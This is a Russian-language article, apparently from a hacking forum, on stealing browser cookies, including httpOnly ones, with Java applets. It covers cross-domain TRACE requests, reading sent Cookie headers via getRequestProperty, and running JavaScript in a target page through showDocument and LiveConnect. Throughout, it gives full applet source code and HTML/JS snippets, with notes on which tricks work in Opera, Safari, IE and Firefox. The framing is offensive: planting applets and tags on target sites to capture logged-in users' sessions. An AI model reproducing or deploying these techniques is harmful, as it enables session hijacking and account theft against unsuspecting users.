Перехват cookie c помощью JAVA-апплетов
Сразу нужно различать три главных ситуации, которые могут возникнуть при попытке перехвата данных апплетом:
А) С целевого хоста, то есть с хоста, с которого нам необходимо получить некую информацию, загружается Java-класс апплета (далее - апплет), а пользователь находится на странице, в которую нами внедрен тег applet (embed, object).
Б) На целевом сайте нами внедрен тег applet, код апплета загружается с нашего хоста.
В) Нужно выполнить java-запрос на сторонний целевой сайт.
Далее хост, с которого загружается код апплета, называется базой кода, или
codebase. Страница, в которую внедрен тег applet, носит название базы документа, или
documentbase.
Рассмотрим эти три ситуации более подробно.
I. Целью является база кода.
Эта ситуация возникает в том случае, когда мы можем загружать на целевой хост файлы c кодом апплета (расширения .class, .jar - в общем случае, в частных случаях еще и некоторые другие).
Таким образом, если в нашем распоряжении нет уязвимости типа XSS, достаточно, чтобы авторизованный пользователь базы кода перешёл на наш доверенный сайт, с которого будет запущен наш апплет.
Когда пользователь заходит на доверенный сайт, апплет инициирует запрос к базе своего кода (только туда он и может коннектиться без специального разрешения
*) и направляет в её сторону cookie. Это служит отправной точкой для перехвата такой информации.
В java имеется достаточно большой набор средств для работы с сетью, но
только лишь запрос апплета с помощью класса
URLConnection (или его расширений) содержит информацию, переданную браузером. Никакие прямые сокет-соединения и другие средства этим свойством не обладают.
А) Перехват с помощью ТRACE-запросов.
Когда мы использовали ТRACE в IE6 с помощью Msxml.XMLHTTP для обхода httpOnly, существовала необходимость по меньшей мере искать способ запуска скрипта на целевом хосте, поскольку поддержка кроссдоменных запросов была включена далеко не у многих. Здесь же JAVA позволяет нам кроссдoменный TRACE-запрос к базе кода.
Сразу отмечу, что для получения кукисов с флагом httpOnly этот способ неуниверсален. В большинстве случаев он не годится, поскольку в браузерах IE, FF, GChrome в JAVA-машину не передаются
ВСЕ кукисы при
ЛЮБЫХ запросах, если хотя бы один из них имеет флаг httpOnly. О других браузерах ниже. Однако для перехвата обычных кукисов TRACE-запрос весьма пригоден.
Trace.java
Код:
import java.applet.*;
import java.net.*;
import java.io.*;
public class Trace extends Applet
{
public void start()
{
try {
URL url = getCodeBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("TRACE");
InputStream inp = conn.getInputStream();
LineNumberReader lr = new LineNumberReader(new InputStreamReader(inp));
String request = lr.readLine();
while (request != null) request += " " + lr.readLine();
System.out.println(request); // вывод на консоль
}
catch (Exception e){}
}
}
Получение кукисов с флагом httpOnly c помощью метода TRACE в JAVA
возможно на сегодняшний день
в двух браузерах из числа распространенных, а именно в Opera (текущая версия 9.64, однако сказанное здесь и далее действительно и для версии 10.00beta, если иное не оговорено специально) и Safari (текущая версия 4.0.2).
При этом браузер Opera девятой ветки имеет ошибку (раньше Я думал, что защиту), связанную с неправильной обработкой ответа сервера, который выдается в ответ на TRACE-запрос. Состоит она в том, что входящий поток (InputStream), ассоциированный с URL-соединением, не будет содержать тела сообщения.
Код:
<script>
function javacon(url)
{
javaurl = new java.net.URL(url);
conn = javaurl.openConnection();
conn.setRequestMethod('TRACE');
input = conn.getInputStream();
// в 9.64 выведет null
alert(new java.io.LineNumberReader(new java.io.InputStreamReader(input)).readLine());
}
</script>
<input type=button value="внутридоменный TRACE-запрос" onclick="javacon(location.href+'.txt')">
Однако же это компенсируется другим "обстоятельством", суть которого вы попытайтесь понять сами. Лишь отмечу, что мы имеем дело с нарушением спецификации HTTP 1.1 RFC 2068. Благодаря последнему мы всё же можем получать TRACE-запросы с куками httpOnly у Opera 9.64.
Внутридоменный TRACE-запрос (Opera)
Код:
<script>
function javacon(url)
{
var javaurl = new java.net.URL(url);
var conn = javaurl.openConnection();
conn.setRequestMethod('TRACE');
conn.getInputStream();
setTimeout("with(new XMLHttpRequest())open('GET','"+url+"',false),send(null),alert(responseText)", 1000);
}
</script>
<input type=button value="внутридоменный TRACE-запрос" onclick="javacon(location.href+'.txt')">
Либо без JS - кроссдоменнтый ТRACE-запрос (Opera)
Код:
<iframe name=channel width=0 height=0 frameborder=0></iframe>
<applet codebase="http://mysite.xz" code="Trace.class"></applet>
Trace.java
Код:
import java.applet.*;
import java.net.*;
import java.io.*;
public class Trace extends Applet
{
public void start()
{
try {
URL url = getCodeBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("TRACE");
conn.getInputStream();
Thread.sleep(1000);
getAppletContext().showDocument(new URL("data:text/html;charset=utf-8,<img src='" + URLEncoder.encode(url.toString(), "UTF-8") + "' style=visibility:hidden>"), "channel");
inp = url.openStream();
LineNumberReader lr = new LineNumberReader(new InputStreamReader(inp));
String request = lr.readLine();
while (request != null) request += " " + lr.readLine();
System.out.println(request); // вывод на консоль
}
catch (Exception e){}
}
}
К счастью, в десятой версии это "неудобство" было исправлено, и если вы проверите первый пример с функцией javaconn, он сработает.
Java-плагин браузера Safari 4 не имеет никаких специальных правил относительно передачи в ява-машину httpOnly-кукисов. Это значит, что перехват таких кукисов возможен
даже без TRACE-запроса, если ответы на него не разрешены на целевом сервере. Об этом далее.
Б) Перехват cookie при помощи getRequestProperty()
Если поддержка TRACE на целевом сервере отключена, то мы можем воспользоваться методом
getRequestProperty("Cookie") класса
HttpURLConnection, который возвратит нам проиндексированное значение указанного заголовка запроса. Но не все реально передаваемые java-запросом заголовки доступны посредством указанного метода. Так, например, сессии basic-авторизации, которые возможно перехватить трейсом, здесь будут недоступны. Метод по нужной нам схеме работает везде, кроме браузера Opera.
RequestProperty.java
Код:
import java.applet.*;
import java.net.*;
public class RequestProperty extends Applet
{
public void start()
{
try {
URL url = getCodeBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.getInputStream(); // по умолчанию GET
String cookie = conn.getRequestProperty("Cookie");
System.out.println(cookie); // вывод на консоль
}
catch (Exception e){}
}
}
Согласно определению, содержащемуся в абстрактном классе
java.net.URLConnection, метод
getRequestProperty(String) должен порождать исключение типа
IllegalStateException, если соединение уже состоялось. Мы же вызываем этот метод именно после установки соединения, пользуясь тем, что в конкретном классе -
sun.net.www.protocol.http.HttpURLConnection, который использует JVM, данный метод переопределен таким образом, что становятся доступными уже отправленные заголовки. А вот родственный метод
getRequestProperties(), возвращающий все заголовки запроса, так и остается не переопределенным и может быть вызван только
ДО установки соединения (то есть покажет только custom заголовки). Каким же образом в java-запросе при помощи
URLConnection появляются кукисы, привязанные к целевому сайту? В указанном конкретном классе
sun.net.www.protocol.http.HttpURLConnection для этого имеется отдельный приватный метод
setCookieHeader(), работающий с особым
CookieHandler'ом. Этот кукихандлер имеет тип
sun.plugin2.main.client.PluginCookieSelector и назначается в качестве дефолтного для данного класса. В отличие от пользовательских кукихандлеров, из которых нельзя получить cookie, предварительно их туда не положив, рассматриваемый хандлер через ряд связанных системных классов осуществяет взаимодействие с браузером и получает уже имеющиеся в нем кукисы. Из класса
sun.net.www.protocol.http.HttpURLConnection делается это обычным для кукихандлеров методом
get(URI uri, Map<String,List<String>> requestHeaders). Однако интересно, что в
PluginCookieSelector'е есть еще один, приватный метод
getCookieFromBrowser(URL url), который возвращает кукисы, имеющиеся в браузере, привязанные к произвольному url-параметру.
В браузере Opera (9.64) используются свои классы, собранные в
\Opera\classes\opera.jar. Они, в частности, по-своему расширяют абстрактный класс
java.net.HttpURLConnection в
com.opera.URLConnection,
com.opera.DataURLConnection,
com.opera.OperaURLConnection,
com.opera.JavascriptURLConnection и др. Помимо неоспоримых преимуществ, - так, например, только java-плагин браузера Opera поддерживает
data:url и может вызвать апплет из архива, закодированного в параметре (
archive=data:url)
**, - имеются и недостатки, которые сужают реализованные по умолчанию возможности java.
Использование собственных сетевых классов приводит к тому, что
PluginCookieSelector не задействуется, а добавление дополнительных заголовков к запросу (таких как cookie) производится в нативном коде. Непубличные нативные (native) методы - характерная черта java-классов Opera. Из вышеуказанного понятно, почему метод
getRequestProperty(String), переопределенный в классе
com.opera.URLConnection, не будет возвращать нам отправленные заголовки.
II. Целью является база документа.
Мы разместили файл java-класса на своем хосте и внедрили тег applet на целевой хост, отсылать запросы к нему самому апплет не может. Но он может использовать javascript из апплета в контексте базы документа.
Существуют
два способа выполнить из апплета javascript
:
А) Метод showDocument(URL)
JSfromJava1.java
Код:
import java.applet.*;
import java.net.*;
public class JSfromJava1 extends Applet
{
public void start()
{
try {
getAppletContext().showDocument(new URL("javascript:alert('JS from Java 1'); void(0);"));
}
catch (Exception e){}
}
}
Б) Пакет
netscape.javascript и группа пакетов
Common DOM API. Я буду использовать первый, т.к. в нашем случае это проще.
JSfromJava2.java
Код:
import java.applet.*;
import netscape.javascript.*;
public class JSfromJava2 extends Applet
{
public void start()
{
try {
JSObject window = JSObject.getWindow(this);
window.eval("alert('JS from Java 2')");
}
catch (Exception e){}
}
}
В приложениях, где время исполнения java-кода не является критическим фактором, можно прибегать к вызову этих же самых методов через рефлексию, что позволяет избежать необходимость прописывания classpath. Но нам время важно.
JSfromJava3.java
Код:
import java.applet.*;
import java.lang.reflect.*;
public class JSfromJava3 extends Applet
{
public void start()
{
try {
// ссылка на класс
Class c = Class.forName("netscape.javascript.JSObject");
// ссылка на один метод
Method getwind = c.getMethod("getWindow",new Class[]{Applet.class});
// ссылка на второй метод
Method eval = c.getMethod("eval", new Class[]{String.class});
// вызов первого метода
Object jswin = getwind.invoke(c, new Object[]{this});
// вызов второго метода
eval.invoke(jswin, new Object[]{new String("alert('JS from Java')")});
}
catch (Exception e){}
}
}
Теперь о преимуществах и недостатках. У вызова с помощью
netscape.javascript не было бы никаких недостатков, если бы данный пакет не был бы самостоятельно реализован в Opera, где при выключенном яваскрипте апплет зависает напрочь, и до дальнейших команд очередь не доходит => исключение также поймать невозможно. Ещё одно обстоятельство - Opera требует наличия в апплете атрибута
MAYSCRIPT для доступа к JS из апплета с помощью пакета
netscape.javascript, если этого атрибута нет, бросается исключение
JSException("Applet not allowed to access javascript."). Обстоятельство, которое следует расценивать как временное, - невозможность использовать
netscape.javascript в FF c выключенной поддержкой плагинов нового поколения, ибо возникает исключение
netscape.javascript.JSException("Native Window is destroyed").
Вызов с помощью
showDocument(URL javascriptProtocolCode) не требует
mayscript, браузер не зависает, однако выполнение JS бросается на самотёк, контролировать его мы не можем. Кроме того выявлено, что в IE 7-8 размер запроса, помещаемого в адрес бар (что относится и к псевдоскрипту), ограничен 2084 байтами.
Именно поэтому самый надежный вариант (для Opera) - это проверять с помощью
showDocument включенность JS и программно добавлять, если это требуется, в код апплета атрибут
mayscript. После этого можно смело использовать
netscape.javascript для более сложных действий из апплета
***.
Чтобы иметь возможность получать доступ к кукам не только через
document.cookie, а использовать весь арсенал JAVA-апплетов в отношении базы документа, нужно еще раз обратиться к отдельным аспектам
liveconnect'а, реализованным в некоторых браузерах, а именно к прямому вызову java из javascript
****.
Код:
<script>
var string = new java.lang.String('Java from JS');
alert(string);
</script>
В FF и Opera этот код работает безоговорочно. В IE, считается многими, данные возможности не реализованы. Однако... с выходом плагинов нового поколения это не совсем так. Теперь прямой вызов java
БУДЕТ работать в IE, если использовать вызов по схеме java->javascript->java (проверено на IE6-IE8). В Safari 4 и Chrome 2 эта технология не реализована.
JavaJSJava.java
Код:
import java.applet.*;
import netscape.javascript.JSObject;
public class JavaJSJava extends Applet
{
public void start()
{
try {
JSObject window = JSObject.getWindow(this);
window.eval("var string = new java.lang.String('Java from JS')");
window.eval("alert(string)");
}
catch (Exception e){}
}
}
Причина, по которой такой код не срабатывает сразу из JS, состоит в том, что пакеты java остаются в IE неинициализированными. После инициализации всех java-пакетов, которая осуществляется при однократном вызове JS->Java из апплета, дальнейшие вызовы java можно осуществлять из
ЛЮБОЙ области на странице.
Имея возможность вызывать JS из Java и далее Java из JS, мы можем реализовать java-запросы к базе документа из апплета.
RstfromDocBase.java
Код:
import java.io.*;
import java.net.*;
import java.applet.*;
import netscape.javascript.*;
public class RstfromDocBase extends Applet
{
public void start()
{
try {
JSObject window = JSObject.getWindow(this);
window.eval("var op = new java.net.URL('" + getDocumentBase().toString() + "').openConnection()");
// получаем входящий поток (при этом осуществляется коннект)
window.eval("var inp = op.getInputStream()");
// подготавливаем чтение
window.eval("var request = ''");
window.eval("var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(inp))");
// читаем ответ
window.eval("while ((n = lnr.readLine()) != null) request += n + ' '");
// переносим из DOM в Java
String request = (String)window.getMember("request");
// ответ сервера будет выведен на консоль
System.out.println(request);
}
catch (Exception e){}
}
}
---------------------
* Opera позволяет апплетам подключаться к
localhost без дополнительных разрешений, что открывает перспективы для различного рода "удаленных" действий в отношении локально установленных серверов.
** См. этот пример:
_http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4756961. Такой запуск апплета лишает его возможности подключаться к базе кода.
*** Safari - единственный браузер из числа указанных, который
a) отказывает при любой попытке вызвать java-апплет при отключенном JS,
б) не перехватывает исключений типа JSException при ошибке JS. В FF расширение NoScript выполняет лишь видимое отключение JS. Если пользователь разрешает на странице выполнение апплета, загруженного с другого сайта, но оставляет запрещенным JS, апплет не может использовать метод
JSObject.eval(String), но имеет доступ к уже определенным элементам дерева DOM данного окна через
JSObject.getMember(String).
**** При этом следует помнить, что обращение JS к публичным методам апплета возможно только в том случае, если JS и java-класс имеют общую базу кода => если апплет загружается с другого хоста, то вызов его метода из JS не разрешается.